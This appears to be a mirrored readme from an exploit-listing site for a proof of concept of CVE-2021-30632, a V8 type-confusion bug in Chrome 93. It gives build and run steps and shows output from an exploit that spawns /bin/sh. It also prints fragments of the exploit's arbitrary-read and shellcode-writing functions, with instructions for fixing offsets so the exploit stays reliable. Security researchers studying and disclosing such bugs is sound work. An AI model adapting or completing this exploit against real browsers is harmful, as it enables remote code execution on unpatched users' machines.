CVE-2021-30632 PoC — Google Chrome 缓冲区错误漏洞

Source

Associated Vulnerability

Description

 m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

Readme

From: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632



The analysis of this bug can be found here. This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.

The exploit here is tested on v8 version 9.3.345.16 (commit 632e6e7), which is the version shipped with Chrome 93.0.4577.63, the one before the bug is fixed, on Ubuntu 20.04. I have not tested it on Chrome itself.

To test, check out v8 at commit 632e6e7 and compile with the default settings using tools/dev/gm.py x64.release. Then open the file poc.js with d8:

./d8 poc.js
On Ubuntu 20.04, it should call execve("/bin/sh") to spawn a new process:

./d8 poc.js
instance: 81d42dd
elements: 804abd9
rwx page address: 22c70c88b000
intArray addr: 8105d79
intBackingStore: 56498ceb25e0
$
Shell code may need changing on other platforms.

The exploit is very reliable, however, when testing, I noticed that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifests itself with some garbage values of the addresses, for example:

instance: 81d42dd
elements: 800222d
rwx page address: 3ff199999999999a
intArray addr: 81067e1
intBackingStore: 3ff199999999999a
In the above, address of rwx page and initBackingStore are clearly incorrect. The root cause seems to be an incorrect elements store value. (800222d is not a valid value) This can usually be fixed by changing the following lines regarding the address of elements:

function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);  //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));          //<---- change to   oobWrite(i32tof(addr1,addr));
  return writeArr[0];
}
...
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  console.log("intArray addr: " + intArrAddr.toString(16));
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

  [elements, addr1] = ftoi32(addrs[1]);              //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));        //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
  ...
}
...
var elementsAddr = ftoi32(addrs[1])[0];             //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];
This, however, does not affect the reliability of the exploit as the offsets are stable as long as the file is fixed, but it may cause issues if the poc is modified. I do not know what causes this, but the exploit can probably be made more robust against this by matching patterns in memory instead of relying on fixed offsets.

File Snapshot

 [4.0K]  /data/pocs/af4886771c04bcaf54de66441783c9b6c2c30bb9
├── [3.1K]  index.html
├── [2.9K]  poc.js
└── [2.8K]  README.md

0 directories, 3 files

Remarks